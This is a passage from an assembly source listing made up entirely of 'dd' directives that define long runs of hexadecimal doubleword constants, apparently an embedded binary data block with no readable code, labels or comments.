4DAADCC0h, 0AA80066h, 5A1A357Ah dd 41009C92h, 0E45414B5h, 4C7F9A74h, 0B90C285Bh, 4A51FFC9h dd 0A3673B00h, 0CD953F92h, 6C4D0011h, 0B9E98DF3h, 170989EEh dd 1031DBF8h, 30D9CF0h, 6F2FF27h, 0C0F4A470h, 2B5150FCh dd 0C4097B19h, 0C9E42310h, 2E39039Dh, 0F8D4129Eh, 0BFF774D8h dd 0F1B47D12h, 98106800h, 3C5BBCh, 68E04901h, 3FD8A903h dd 29197B0Fh, 2AB0A051h, 0B41B8Bh, 53A752E7h, 5A0FA0C5h dd 0A6AA221Eh, 0FF104700h, 0F1466ADh, 0E6DE3612h, 7B756F00h dd 0A900529Bh, 607CEF5Ah, 0F6180545h, 5676006Ch, 0D5AE92A8h dd 0BC01DDD0h, 0A4852F4Dh, 0BDC855CDh, 92903F0Eh, 0DE66238Fh dd 603B51E7h, 1318CC5Bh, 3E505401h, 8ABABD0Bh, 0C8FD7880h dd 5D5CE668h, 0A657E00h, 6E5B34Ah, 76361D86h, 56B03EB4h dd 8023FBD0h, 7BB5E100h, 94162F6Dh, 0F6870057h, 1D9A6021h dd 4AF64751h, 0BF000CB8h, 0E444358Dh, 268EE51Ah, 54E32Dh dd 0B2942F47h, 0D703CF17h, 4DE6625Ah, 38EE81AEh, 7013E0ECh dd 7AF00C48h, 50F91F9Ah, 65859E00h, 6570CDDh, 0BA7952h dd 5F6F04B9h, 86071D3Bh, 9F3F20Eh, 83EC808Ah, 7AA75Dh dd 0D1827F01h, 2D645ADh, 80BE1E3Dh, 8535D9E8h, 602CF4D7h dd 6C8E057h, 8D00B5B9h, 273220FFh, 2C74E42h, 2F682C60h dd 8760E728h, 7903B2D3h, 0E1563D55h, 0A05C80Bh, 991303EBh dd 78126717h, 0B30F1114h, 0E3B904A0h, 75808107h, 82EA4Ch dd 3F4FCB21h, 739475A5h, 9C60600h, 3146A689h, 0D95E00FCh dd 0CE076301h, 9D7123DCh, 19481400h, 0BE392CF8h, 0AF343BE1h dd 0DC504F80h, 0BAB24C1Ch, 0ADD44800h, 8F3DA26Dh, 0F74E03C6h dd 9E1BFA72h, 0C288E3ABh, 7500660Dh, 32BB862Fh, 68938Fh dd 0F49ACBF5h, 4B5E3622h, 94A25604h, 40809EBFh, 7DA2BFCh dd 64A07DC6h, 0E0007FA3h, 0CB2FB987h, 0C12F307h, 6F3025D1h dd 0E9D6063h, 30A4C5D0h, 0F8F8C12Fh, 0E671673Dh, 37D6C0C3h dd 0E43800CEh, 0A3D21B5Ah, 7218387Ch, 1F31D5E8h, 29B600FFh dd 5517D810h, 0D203478Fh, 7C1D9CFCh, 0E800C567h, 725E8986h dd 0C0E50331h, 0DF61D0D1h, 0C71D401Ch, 0F277C40h, 50A6EEB5h dd 70B89Ah, 0EA0CF0DCh, 0B97F2628h, 833BD139h, 693533A8h dd 401BC23Eh, 0D28708h, 0E6982412h, 0F5348B7Eh, 19FA781Fh dd 572FFDC0h, 7D69Fh, 838E688Ah, 468CE382h, 0BB12F500h dd 0CBFE5B3Ah, 0EA43009Ch, 9FBCDC47h, 8A000D9Eh, 0CF860C08h dd 73290AA6h, 97DF0F20h, 0F2008007h, 0EE90B75Ch, 0AD62810Fh dd 0EAE8E53Ch, 1C39C400h, 8AEBD7h, 335EA452h, 30F9CC8Eh dd 4FDB4901h, 0A95CD9D8h, 0E45AE0h, 1A1FC65Eh, 8FAD78A2h dd 0C897870Eh, 7C23A1ACh, 90300F9Ah, 1229172Bh, 40CD1F61h dd 67EEE80h, 0A307CF20h, 33BFF8ACh, 26837F70h, 0FBC80BD9h dd 68818562h, 0EC3E4FA5h, 4105539Ch, 0B3D65E72h, 7BD59C04h dd 1E6720C0h, 0F53B0003h, 0A8B0DCC3h, 0BF13A5E4h, 880030FFh dd 940FD196h, 7D750F20h, 0F6403411h, 86487ACDh, 9E1CAE00h dd 0FC298ABFh, 0ED240017h, 19CC5E9Bh, 4048384Ah, 0C1C70000h dd 4EEE859Ah, 0C849006Bh, 0A0841BBFh, 0E007038h, 0B7E8CB67h dd 0C3833Ch, 4B769963h, 74D01FA7h, 39712B03h, 90A08DF0h dd 110B6C1h, 0CB7EE8CFh, 2480AFACh, 1613B820h, 8C40A89Fh dd 0E8BC2052h, 8F993A7Bh, 0AE378502h, 0FEC077A1h, 120E0AD4h dd 8149170Fh, 9F454D93h, 0E286EF8h, 3C83792Bh, 580CC9E0h dd 6601D26Ah, 0CE0ED3FBh, 1C3024E6h, 959E00AFh, 0B0EA4F3Dh dd 80245DBEh, 223B7C47h, 60C74C1Ah, 26A15500h, 0A6EF777Bh dd 7E3CD800h, 0C3EDE770h, 884724E9h, 89D981B4h, 257A6178h dd 1244E9A0h, 0EF40F522h, 511D5A57h, 9C44CF0Ah, 94909840h dd 3F9A9052h, 2203D27Dh, 1D9D4FEEh, 0EBE0CA88h, 9B55CE09h dd 0E198001Ah, 4930F331h, 8400A045h, 0FCAA9025h, 0AE0075A7h dd 20BF12CFh, 6708C1F7h, 0F06846E7h, 3E989A9Bh, 38441630h dd 0AE4C52h, 0E4DEEBEAh, 6BF5D97Ch, 13882F00h, 0AB8B94F1h dd 0B4F6070Ah, 0C2C01E74h, 0B1808526h, 0EE251790h, 0E9A6A100h dd 6C0605AFh, 403B058Bh, 0C382768Eh, 3EF03694h, 5A13A673h dd 0AF005419h, 92E16C14h, 0D5D439AFh, 9FA9B380h, 0D3F7C486h dd 720B78E6h, 2784EDE5h, 4EB06224h, 4CB3C8h, 83A1DB74h dd 220263CCh, 0B5EB6701h, 69F29111h, 0D9ACA0D6h, 2E9FBA3h dd 0F400153h, 0A46075E0h, 3271589Ch, 0AE8FB700h, 0AC397B0Ah dd 0F333241Eh, 0D996002Bh, 7ADF68C3h, 9D39500h, 304B5FC8h dd 386D7003h, 9180277Fh, 58D6FFE5h, 44488C6Eh, 5CEF0930h dd 90280008h, 3E02C468h, 98789845h, 22350F90h, 6E2D95Ah dd 0FC60283Bh, 0AF8051A5h, 0AE0C8899h, 0ABFE1601h, 0FBCD9227h dd 0A48020h, 0CA6E1D6Dh, 0E0E34E96h, 1869B424h, 1B184680h dd 78CD1CBh, 782393F6h, 0BD842095h, 0A5001961h, 4C9BFF29h dd 0C03A3C8Bh, 0D1D2CD21h, 2F013177h, 0B497B31Bh, 0BC602A38h dd 519049h, 20AD1284h, 0E24A55AEh, 0A0003AE6h, 8B7509F1h dd 4C8A04D4h, 5031D2Fh, 5CE23B3Eh, 63E40CF8h, 87412900h dd 66B06F17h, 0BCB0189h, 97851E82h, 1CC6F8D5h, 22E3A400h dd 99468FFCh, 0C2D015D4h, 0C50084B4h, 31AF3E58h, 0D5096896h dd 85276Fh, 0C3EF8DA4h, 19B865h, 504E7D0Dh, 0D5638AD2h dd 913B7179h, 0C9003FBh, 0A81453CDh, 26FC4BFEh, 1CBC3057h dd 8EA37DBDh, 5193EB82h, 844CE841h, 96F4FF38h, 0DA32021Eh dd 282DE879h, 0D9486CC4h, 31B30202h, 6003CF3Bh, 0E0868E50h dd 8C620090h, 98808974h, 56027746h, 30E7EA57h, 0AC52E0F7h dd 0D77A003Dh, 4E80B220h, 7800874Ah, 412D6105h, 137D6C0Ch dd 0A2EF45h, 59A57E7Dh, 6A0228F8h, 0EE3C33CAh, 988C8053h dd 5CFFA7C1h, 7E004CC9h, 3E8BCE4Fh, 0D30348A4h, 39DCCD4Ah dd 2098837h, 526B00B9h, 4BB0E7Ah, 383BFDFBh, 7F5D804Dh dd 8C101C7Ch, 0BE151F22h, 0F43DC0E6h, 70A92B80h, 5C346F26h dd 36377B80h, 0B73948h, 2C1A6A2Ah, 0E276233h, 45F43A00h dd 7EFE8FABh, 1175E5h, 5788F249h, 0BAD9BEE1h, 5E668100h dd 85A9F346h, 0B7E4B4h, 0A31722CBh, 0EDC3A647h, 9034E0h dd 0BC0CE172h, 10820AC2h, 5C0103D6h, 0FE0D2959h, 808DD8E1h dd 3956FB19h, 1DBC34DFh, 145DE091h, 0FC01D996h, 255A64CEh dd 5405F86Ah, 60C83960h, 14A2CD8Ah, 30C2262Dh, 0EE0C343Ch dd 8D817B65h, 278CBC00h, 0C2765F86h, 78DB1C34h, 0C7883765h dd 6226030Dh, 7F66317Ch, 20FF49h, 0BD36EDBBh, 0D480869Ah dd 50F14E18h, 0B797890h, 465B395Ch, 2C58AD00h, 1509C7ACh dd 80FB0ACFh, 0EFD4478Ch, 24B51C79h, 21B647A6h, 1C8623CAh dd 0C82EFDA1h, 0BD00B1EBh, 8D37D175h, 3D14CB97h, 12807EA7h dd 3AF10898h, 99078E9Ch dd 0C4E1E8C3h, 7C1EE980h, 35450AD6h, 80EC5CE6h, 34A2BEC0h dd 88A16E25h, 830FB2Dh, 96F921ACh, 5B4B00A2h, 0F880C57Eh dd 0FC199F27h, 0A0505519h, 0E02807D7h, 20C3BA10h, 3A46CB17h dd 0EB6041C7h, 40580941h, 31E51180h, 35BEC6BFh, 0C25CA20Ch dd 0C1D70822h, 0BF290221h, 7ADCC428h, 436DB6C2h, 1124973Ah dd 7C0683FBh, 5D3FE0A4h, 0D07B8Ah, 0B3775B3Dh, 0FBDE1811h dd 51BB7601h, 4489575Fh, 9E80E082h, 0F0906DC9h, 9B0065B6h dd 2115E0BEh, 74421939h, 217460BCh, 229BF925h, 0AF73A80Eh dd 8E63CFF4h, 0A564A35Ch, 0A0009FCDh, 5A1568h, 231AF7BDh dd 0E550EB9Fh, 0E68EFC00h, 0CA0457DDh, 0A02000CCh, 39387BB1h dd 98077E4Fh, 76FF5FD9h, 2B8F0650h, 0E72C00A7h, 6F9A927Bh dd 0D7A0DD10h, 3E001783h, 30E42EFBh, 404A68h, 0A1369001h dd 4B731D57h, 556F2900h, 6093E098h, 165D00DBh, 0E328805Fh dd 0D03FE94h, 7E4B96E8h, 55710054h, 2B0E42E5h, 6000051Ch dd 0E785DB2Ch, 15B3393h, 6630A189h, 17A048BBh, 0FE6ED1C1h dd 139C60F8h, 987310h, 1E7A07CDh, 300CABDh, 5025350Eh dd 17966F9h, 0DF825214h, 0E0B89FD8h, 22FC8CD6h, 0F8E8E01Eh dd 0C00A1E0Ch, 56390098h, 5EE12163h, 7101AF88h, 0BB674E01h dd 808032DCh, 33FD4853h, 0AB14F3CFh, 58DB46Dh, 67D74F9Fh dd 0C30C901Fh, 787195Eh, 0CBA8380Bh, 0E9BC072h, 39E8693Eh dd 8049D428h, 57A1D0Ch, 6F5F8107h, 45800825h, 8316DA34h dd 0A8000E90h, 0CC13AD03h, 0F29E88h, 0C85511D4h, 53304FD0h dd 0BCBFAA00h, 6A136642h, 1980009Ah, 9DC12EE6h, 0C21F8AFDh dd 0FBC08238h, 8F17FAD2h, 187ECA0h, 84C672ACh, 30119ADBh dd 7F301BE6h, 0CA70289Dh, 90B800A1h, 17491CC8h, 0C50750D6h dd 0D40647B4h, 88874BB3h, 18FB98FAh, 389CC721h, 0B600D048h dd 8D76D11Ch, 0D4298Eh, 413BCB6Eh, 7118BC54h, 6AC92E10h dd 3D20083Dh, 0BB810500h, 6EEF6DB5h, 79230175h, 71BEBA33h dd 9EF5F063h, 0FB3B4212h, 0C8D74C06h, 4AA83B18h, 43450882h dd 6B20A76Eh, 689149Bh, 25ECD8AEh, 0F900B002h, 0A8BA5316h dd 128D92Ch, 1AD0C61Ch, 0F82EF1E2h, 0CD30C80Fh, 0B01598F7h dd 7FC0077h, 0E2C96F96h, 0D5015F76h, 1C065B7Dh, 0E9D8EAC4h dd 0A9FF60F2h, 2DF1D119h, 0D240F860h, 3C8205BDh, 0A12F6DD9h dd 28004F43h, 0CC75DF13h, 1DF96B9Fh, 805FF37Ah, 0ACD16EFEh dd 0BF395DB7h, 24390117h, 0B54831C3h, 4FA2D0h, 6CB1523h dd 7A9A5AF2h, 0EB005878h, 38A59721h, 0DE2A6Ch, 17912F70h dd 520E39C2h, 0B7587B00h, 5CEC9B0Fh, 790D716Ah, 44A80051h dd 0FFC09686h, 0AE000619h, 7C99EC34h, 0F9FE0Ch, 2637019Eh dd 2FEF4E4Bh, 0C480C060h, 510FAEh, 0E2ECA5D0h, 5E25F8CFh dd 4C170E0Fh, 0AAB00052h, 5C080118h, 91386EEEh, 0C085D680h dd 0C8CF56C3h, 503C9F00h, 0E294FE6Ch, 95F90019h, 632D097Ch dd 2779B9C1h, 9FCE6D06h, 4229663Bh, 2FD01116h, 0E04D6B1Fh dd 1A8967E8h, 0FA448408h, 51F4615Fh, 25E55E5h, 0FC27102Eh dd 0C4F7E388h, 48C35229h, 2BC242F2h, 0CA211724h, 66798859h dd 18688820h, 19141B94h, 6A515716h, 38C72980h, 0AEA14514h dd 0B4105907h, 9921653Ch, 80D5F1A5h, 0E88EFE8h, 8AA1EE02h dd 9036A827h, 3115F959h, 97B04300h, 0A54B6B3Fh, 46290F24h dd 7A87CC5Dh, 0CA409010h, 5900F6FCh, 0ADAC9544h, 0B01948h dd 1646E2E5h, 3284DB42h, 0F17F5928h, 0E90F18E4h, 0C0AEE660h dd 278F0D0Ah, 531300D9h, 4DDC7AB8h, 621C0549h, 0BA40B1h dd 23C32A5Eh, 902B702Eh, 896700BEh, 95187A69h, 720ED5CFh dd 80606207h, 87E18BE4h, 4E7D9Dh, 634B9144h, 367F66ACh dd 324A5E07h, 0D6809BA7h, 0C0CE3E2h, 8A5C732Ch, 0E500E080h dd 49EC3676h, 6ADF23Ch, 17C85497h, 1000E9D0h, 0AEFB7CFEh dd 21C6CFh, 63F47DB9h, 379C0E5Bh, 3600DE70h, 3D8270D6h dd 652092h, 74A09811h, 0E2D442E0h, 41367E07h, 4E40CCDAh dd 0B825C4D7h, 50E00FAh, 1A5D2B3Ch, 1118B207h, 2210866Dh dd 0AFE07C1h, 0A06A012Ah, 0BBFDF41Bh, 0DFCA750Fh, 62C03CF0h dd 31A5ADABh, 87973095h, 73FCCC38h, 5F007A70h, 2A4090FAh dd 195DE5Ah, 0CAB1C96Dh, 8A8B2051h, 8C197878h, 81C5DC00h dd 7E59C454h, 0A0D2001Ch, 0FFB7288Ch, 0DD003A1Eh, 0C89E14B3h dd 0EECD98h, 45BB5DE9h, 4C5B771Fh, 36918501h, 8F2B2789h dd 6B42F8h, 1E8E2081h, 7C47565h, 14642D0Ah, 760FE0A3h dd 507F40F5h, 5CA5Eh, 2E15CCE4h, 92214EC0h, 1FC23000h dd 0F299E2F4h, 0D89A0038h, 692EE1C6h, 0D3077C26h, 7B51A7E3h dd 61797512h, 50206003h, 9F7FCAh, 0C42FDD40h, 923742F3h dd 34FB4402h, 44DB0610h, 0F4ED001Ch, 2C39525Dh, 5E760C54h dd 0C7240890h, 58007828h, 0E6DA4217h, 7F870003h, 7BF08BF8h dd 0E200096Ah, 5C8F3FEEh, 3AD614h, 54E34EEAh, 0E6CE3E0Fh dd 0AC13A628h, 7CCC4502h, 4048F139h, 4005F360h, 86243717h dd 15007190h, 0C89A4ECEh, 0E8265043h, 6E75079Dh, 9095B253h dd 8BF99EEDh, 20B1DF00h, 0B74869E1h, 3950787Eh, 0D01ED3A0h dd 0A88980C7h, 4C145FE2h, 7DC1EF17h, 0CB8409AAh, 37075174h dd 666339F8h, 5FFAE812h, 8B9E0405h, 80541689h, 9A8CF5C6h dd 41CA8400h, 0F96503B3h, 6D5A00F3h, 5C76620Bh, 0AF0B17CDh dd 80559843h, 0D7C2E483h, 594D0275h, 0A7CF3799h, 0F1971240h dd 3DCEBD03h, 0A89F1395h, 319139h, 0F4628876h, 84112CB4h dd 8903C600h, 6122C555h, 95D91C9Ch, 2641C040h, 0F2FF052Dh dd 0AE001075h, 5F8D2CA2h, 0C17E22h, 2721C98Ch, 931E5390h dd 0E3F80A07h, 1C500DB7h, 723DD03h, 9A546847h, 56EA01E0h dd 0EB97DC5Ch, 0AFC7A500h, 86696FA2h, 0B63F0521h, 808A345Bh dd 0EEE7F468h, 4501777Eh, 8C7C3946h, 370D35Ch, 2B79007Ah dd 0F4E1617h, 0C0F330FDh, 6D00A883h, 4185BBA5h, 0DCF76Bh dd 0E85BE350h, 43C28BC7h, 0D514D100h, 99D7B3Eh, 65281C49h dd 0FC85807Dh, 8BE31F88h, 7F350F00h, 8AA3E7D9h, 57CC0FCBh dd 3442F63h, 4019C0EFh, 0F10068BDh, 0E08E25Ah, 0FDC16Ah dd 0E07DBE9Fh, 0BD5FBF31h, 0A7923E1Ch, 67406B1Eh, 0B950D245h dd 659D00D4h, 98641458h, 560027ABh, 6EDF5EDCh, 9F8597h dd 1D78AE1Ah, 8FD9F5E3h, 4A6AC700h, 0E6FDBFCBh, 62AF007Ch dd 91A4B105h, 9C004D19h, 8EDC07C1h, 81B4C3h, 8A6F7B22h dd 0F5DA934Fh, 0BC1FE303h, 985B808Ch, 4D837h, 2F959BE6h dd 0F1DFA060h, 5CB68800h, 0BD2CC0A1h, 0CB4D01CCh, 0FEC833AEh dd 0E0E4F4BCh, 96533002h, 403EE6AFh, 6B5470h, 0B7A1118Fh dd 0A8B0F545h, 6459FE00h, 0CF4986B4h, 0AE070016h, 0F9BCFC36h dd 4703E7E3h, 23F48FD6h, 2198C922h, 1CECD5E4h, 0C0A33E72h dd 6859194Ah, 56009A28h, 0B84F558Fh, 3836C7EEh, 0E75C6FB7h dd 19C3EB0Eh, 0AF482000h, 973EEDC8h, 0B24603A0h, 7EA5F43h dd 7A3DFC10h, 5DF306Dh, 7700B9D1h, 51591BD9h, 0B6BE22h dd 52EF83C8h, 0DB613116h, 27995E00h, 9B185B5h, 9D9714D4h dd 2B14801Ch, 8D0188A6h, 241A55F6h, 0ED3EC0D2h, 95389673h dd 0B5E70044h, 0E3DE9CE4h, 0A1E200C9h, 8712CF7Ah, 0DA7E8238h dd 66002F7Ah, 0BE44F5E5h, 184DFF2h, 7B71364h, 8011E6DBh dd 9946FF21h, 18D5D75Ch dd 1944ABBFh, 9008133h, 1DF7A0B2h, 7BA50Ch, 3DCB5FF8h dd 0AE6B2272h, 82CF7C24h, 68D5F000h, 1C48346h, 0D4086F20h dd 80FC936Dh, 0DD0CB5C8h, 5BA0973h, 6CF52C76h, 19B401C9h dd 435696B6h, 52D7CED5h, 9CA02CFCh, 0BB1ED521h, 0C56A6B00h dd 11DE4E33h, 0C24B0046h, 44365B7Fh, 1400D818h, 3891BD55h dd 73F298Ah, 56C196D3h, 1944108Bh, 503A3316h, 0D04F94E0h dd 0E88100A4h, 0D817EA5Eh, 0E3F61384h, 5708405Dh, 4B32A85h dd 58601224h, 9BAF7100h, 67C38Dh, 9EBB0561h, 0BE08976h dd 0D194A550h, 0AA585DE2h, 0F8281E28h, 0B1D9E140h, 7C83CB33h dd 0AFF001BCh, 0BAADD47Ch, 9224F489h, 34EBC000h, 0E5E0966h dd 17F30798h, 80BE77ACh, 33A9B7BDh, 0EBAFD700h, 0BCA59484h dd 7A3A057Bh, 0D29E4Ah, 8E653190h, 3B24E7ABh, 0CE00BCE8h dd 0D35D3682h, 0C4CC00FDh, 46084B15h, 88004DE5h, 90B89A27h dd 1126C5h, 8B9B8E75h, 0E1C2B349h, 0BF28B890h, 311E90DCh dd 0CC7B1D7Fh, 3DAEDEA8h, 7B81A00h, 328860h, 398E81EDh dd 0A165635Bh, 6ED2550Eh, 0F59E206Fh, 971A64Ch, 4F210D3Eh dd 299AB402h, 0B0133510h, 0DD040004h, 0A8480BBDh, 15075816h dd 554295C3h, 8373EB40h, 0C463501Fh, 0D8FD003Ch, 98BD6ED6h dd 0DA00A879h, 824F85A4h, 0B2F154h, 290C56BFh, 279BEBFDh dd 1673910Ch, 2D0FFh, 780D8DCDh, 7C58FC0Fh, 0E009270h dd 607A9445h, 0A818C46Dh, 0A15DACh, 86439FDAh, 0A2BD5662h dd 246BDD00h, 57BF3B7Fh, 0ACF70067h, 0F599284Bh, 0E4E6CE50h dd 80DAEF00h, 175F7CA9h, 479C1CC5h, 0B34C48Eh, 0E32D01DDh dd 14DCD9D1h, 0B78F0082h, 4C434B5Fh, 0E005C2C9h, 696D2FE9h dd 8D2B9C02h, 938001D8h, 0C750242Dh, 0E3982600h, 940F27DCh dd 730B0111h, 5F77041Ch, 64482053h, 0CB34B501h, 7EAB9099h dd 0FA22F4h, 5E714E31h, 0EE91C723h, 47EF211Eh, 4D050B6Eh dd 9500B0CEh, 0C72968BCh, 873000DEh, 42557CC6h, 7450D4D2h dd 0F776E59Ch, 0BB018FF6h, 0B2F2E97Bh, 2900D324h, 0A328060Dh dd 74F2B752h, 2E02E67Bh, 0C366FAB5h, 6028403Ch, 59D3A3Eh dd 50E29C00h, 0C94D7B17h, 83F0BE00h, 6B61216Ch, 49CBE698h dd 790BD8E8h, 0F0200680h, 5FE9A9D5h, 70FD88A8h, 4D1B0B00h dd 0DD302483h, 71C200A1h, 7D8DDFFAh, 0E7503B27h, 62162B96h dd 0EBA7AEh, 89AD6AE2h, 9502BC99h, 0D18A3E70h, 7B40C91Fh dd 76B84Bh, 0F9589DCCh, 6E773996h, 89DF7E00h, 4BD5E238h dd 3EFE0005h, 0E5BEEC36h, 7B0E6C13h, 0E0890A9Eh, 0D6440960h dd 4B9A000Eh, 0E323C48Dh, 0D1003825h, 0D6D5EA7h, 7EF28370h dd 79F258h, 0CD496AC6h, 38F58BDBh, 0DF8DE600h, 978685FCh dd 5CB036h, 0EF4D76C4h, 673E7D5Fh, 0C303C100h, 0ADB49525h dd 0F3F48Bh, 50044228h, 0C481CCE6h, 6FF448h, 88AE7290h dd 70961DDh, 4EFD927Fh, 95D600EDh, 0C3134AE5h, 0E800CC36h dd 5C335B70h, 0E49C0057h, 11FC37B2h, 0DD0210FFh, 414C14ABh dd 0AEACE0C6h, 5B8905DEh, 0C234F93Bh, 0C482DBBh, 0D7286E6Dh dd 1900BCB8h, 0BE17D465h, 0F378A06Bh, 13BB450h, 0EA983010h dd 8E543E11h, 1C85E22h, 0DB2253BCh, 30168C7Fh, 0AB006408h dd 0A24B1280h, 3691381h, 254C92B7h, 5DA11AF0h, 55B3F42Dh dd 36BA7F00h, 6D34E430h, 0BDE00CFh, 0B9469296h, 621FF9DAh dd 0FCD345h, 0EF7FAFB7h, 0B82EFA18h, 3E2D0058h, 0DB9C924Dh dd 7200EDB2h, 0B59E2CD5h, 742F338h, 0CD900C69h, 0E0009F15h dd 65FA44Fh, 7F793FF4h, 7314F400h, 0ED9EA072h, 396F080h dd 15539CD6h, 8DE340h, 243BCC96h, 410082A6h, 58F904F8h dd 6CC253h, 53A1981h, 16ADBBD2h, 7FB0CD00h, 70DEE437h dd 781E2FDh, 4A8D35EEh, 9C0C00DAh, 0D97CC539h, 98B8A360h dd 78B8CEEBh, 348E00A8h, 27F7089Dh, 0AD06ACF9h, 0B4741463h dd 6ED13B88h, 17BB4F00h, 5E80F78Fh, 31D09F1Eh, 0A87F6580h dd 0C9A4CEh, 0D9B00E49h, 1D3D0F4Bh, 5002371h, 829C717Dh dd 1F58655Bh, 80FA436Dh, 92551EE4h, 0D31CC1DFh, 0B6034204h dd 3E9B6002h, 0BF000AA0h, 4932A4FAh, 3F011D89h, 0B8770C6Bh dd 0F8F41B21h, 0A77EB2h, 0DAD3B09Eh, 7C4E58CAh, 11D5D09h dd 5C805D82h, 83876C3Ah, 14CFDF01h, 0BAC225A9h, 0B8AB20E8h dd 4B9E1C47h, 0C238082h, 0BDBC8D37h, 753EA73Ch, 84EE2E03h dd 9F7A6905h, 0B23045B1h, 4B929840h, 0A4CF5122h, 10D6FE0h dd 2480859Eh, 0D4A32A10h, 0B8059629h, 0C575565Ah, 51D09DC7h dd 6F5EA56Eh, 0F039E2h, 56DDFEF9h, 8854A3h, 0E8DBFBBAh dd 66BE0E61h, 8967C00h, 0FE4CC3A7h, 79920052h, 0AE6E5044h dd 4900A378h, 0A9A73B23h, 3BE5BCBh, 8D5AB1Ch, 20078EB5h dd 0A785E6C0h, 2E90EF77h, 242A3ACAh, 1222CBh, 188D0636h dd 733C8A5Bh, 62FA0032h, 0AF4E0E4Ah, 0FF31EAAh, 0C214087h dd 0B0C4EDB1h, 0AC713Fh, 3763CC3Bh, 86479h, 0DFEC3A4Bh dd 6C7EA407h, 0CA1C20EDh, 9BB8FB00h, 3219B517h, 0D273DBh dd 870898BFh, 41F97E7Ch, 4F2B2A00h, 6343C3E1h, 0CA7A00B2h dd 0F212E3A8h, 93009B31h, 0DE032A59h, 3257F9Fh, 6F04F035h dd 46C832DBh, 8D0A7215h, 0AC986507h, 0F5389300h, 0F6332DEDh dd 4B90018Ch, 1875268Ah, 0BC0DD476h, 0F547E828h, 57C9AE00h dd 2C5FBB87h, 0B8390078h, 0C309456h, 0C506DE4Eh, 0E9A7ED4Ah dd 850412D0h, 8EC8001Dh, 0A2EE1306h, 0FECB8D00h, 0C8543526h dd 377700AAh, 3BDBC90Bh, 7400C67Fh, 0E51DC422h, 0C0BD8D87h dd 27F6FD4Ch, 8900B9FCh, 167E52EFh, 739C04DFh, 9AD6036Ch dd 586B8FB7h, 0A5C96AD0h, 2446DB00h, 4BC57C70h, 0E82000E3h dd 0E7D1E571h, 0B33A4A6Eh, 45FD00A6h, 11628ED4h, 0A8A0029Fh dd 566F329Bh, 86BDBA40h, 0A7B7CD00h, 0C3CFE731h, 39E100B3h dd 3343D258h, 17003265h, 37B708Eh, 6826269h, 1ADDD3A1h dd 0E7005094h, 0EB76C352h, 3D8B4355h, 170938BDh, 180067F2h dd 0A5BB3499h, 0B0DEA132h, 0B00F076Dh, 0A8C06F75h, 4BCDFF00h dd 0F3D50288h, 589F600Eh, 4F99D9BAh, 1F706300h, 8589E1D1h dd 8BB00091h, 0D5C509ECh, 0CB004C34h, 9D976C7Dh, 0E96576Eh dd 2BFC5CACh, 6A1FE0A0h, 370091D2h, 8B7502EBh, 179A8188h dd 6F06CBh, 28B2A823h, 0E200D454h, 28A46A9h, 50A12BAAh dd 0CC885Dh, 0CBDEC321h, 5FDA6C27h, 973B801h, 0FC537C51h dd 826AC4h, 128FE877h, 931091FBh, 0EF6C88C0h, 445BB7h dd 0C3E93817h, 0D984B6EEh, 0C0FE7706h, 0E8E1F6h, 25AFC242h dd 3B248715h, 3C1A77E8h, 4080DD95h, 3AC84CFAh, 6C071D97h dd 613E9EBBh, 20BC1395h, 3B094BF4h, 20C590BEh, 31941608h dd 0F3DA0028h, 37565DBCh, 97529B68h, 0E7A800BCh, 8A579463h dd 0A92E0017h, 8F44387Bh, 54006430h, 0D8AFF5DFh, 30FE2252h dd 0DAA8CA75h, 70F26C48h, 0F5E1505h, 4483333Ah, 21C2F81Ah dd 3F5507E8h, 0C0A9FF46h, 27EE10D2h, 0AD019A18h, 7B50BAh dd 0A888873Fh, 0A63B9B17h, 311C1B00h, 4140A747h, 739C00FCh dd 0A81870B7h, 0DB00EBDAh, 1A7F42D6h, 64E7D8h, 0A1721EEh dd 3FFC9E93h, 0C7D60C0h, 3ADDCFD4h, 1700F3C7h, 19A3FBA8h dd 8C02358Bh, 9FF80653h, 0EB1040ABh, 494006F4h, 40A52108h dd 3A1245F2h, 4403853Fh, 0D014B9E4h, 7815D0h, 1B879059h dd 0E83AD1A0h, 6542EE14h dd 58D80BCCh, 627B868Eh, 173E0010h, 0CA794DE2h, 55003C53h dd 0ACC172D9h, 6AAB11h, 0B5EAA7E1h, 0FF4EA80Bh, 0DD81A500h dd 97E2CFA6h, 0C8CC01F6h, 5F71772Dh, 3EE44024h, 4A000190h dd 0D33A6395h, 96E0EFh, 67D9F0A7h, 9C8175AAh, 0A1141509h dd 83788052h, 5BDE0Fh, 0FE888610h, 29CBBCE2h, 0ACF70A00h dd 85D1E6D6h, 0E260F687h, 1C3C009Fh, 0CF9035F3h, 24007822h dd 0EDB926E4h, 0A466EA9h, 0C7AA8177h, 8EE5008Ch, 2940B00Fh dd 1BC02491h, 0C09FC2F3h, 0E5D46F11h, 64404498h, 1D7A0035h dd 0BADB76E1h, 0F1259DEh, 205C0A63h, 621C700h, 3EF86BE7h dd 3606D08Eh, 6E72DE73h, 0B7D10200h, 42792881h, 0D4760261h dd 0D82C197h, 7BBEE840h, 95AC7A00h, 1255FB22h, 0A565005Dh dd 8C0C8E36h, 5A480B50h, 297E004Ch, 0C842B582h, 848B1210h dd 4E710044h, 556D79D2h, 53D99501h, 8F0C12Bh, 0E4F593C5h dd 8401420h, 0DD02A963h, 6481D00h, 4886D1A3h, 570B90ABh dd 2780A61Eh, 62816A0Fh, 0F54E5100h, 0DA1716CEh, 962C0098h dd 0DF4B9F1Bh, 7B004656h, 0A9A89A30h, 64415Bh, 0FDA229FAh dd 0D26FC359h, 82A6E038h, 0DB14BEE7h, 75F0401Eh, 0DCEC0035h dd 0AB34EEA2h, 47E2BF68h, 0D13AC00h, 504C437Ch, 9D7D0010h dd 0B9690F73h, 0C4488A9Eh, 0F9DE00DAh, 2329135h, 1E75F42Fh dd 43EE8354h, 2605DFA0h, 0A33CD0F7h, 0BB0090B0h, 319EF73Bh dd 193E4Ch, 45A5C5A9h, 6DF06CA4h, 8620FC0Fh, 48001387h dd 42CAB304h, 623B3E9Ch, 4091391Eh, 6C1355CBh, 0C700D68Eh dd 0F185D51Dh, 1CB2E7D0h, 40A3C8EEh, 3DE06F36h, 57B8079Eh dd 0FD87301Fh, 2CFC2E40h, 24ECE4F5h, 0CE4106h, 0AF70E5C6h dd 0A004B13h, 1B0CABA3h, 0EC8F27h, 0DC0F413Dh, 67028B7Eh dd 0E434A200h, 0DF639CD3h, 0E8850025h, 991BDA51h, 210B71D2h dd 80F659E2h, 60654F20h, 1A1628CAh, 0DC0E01B4h, 102FC21Dh dd 83A3E048h, 0C3063Ch, 9E4F8018h, 17922198h, 1E5EEE1Ah dd 9CD9C0C3h, 19A2027Eh, 6881E126h, 1A3AD500h, 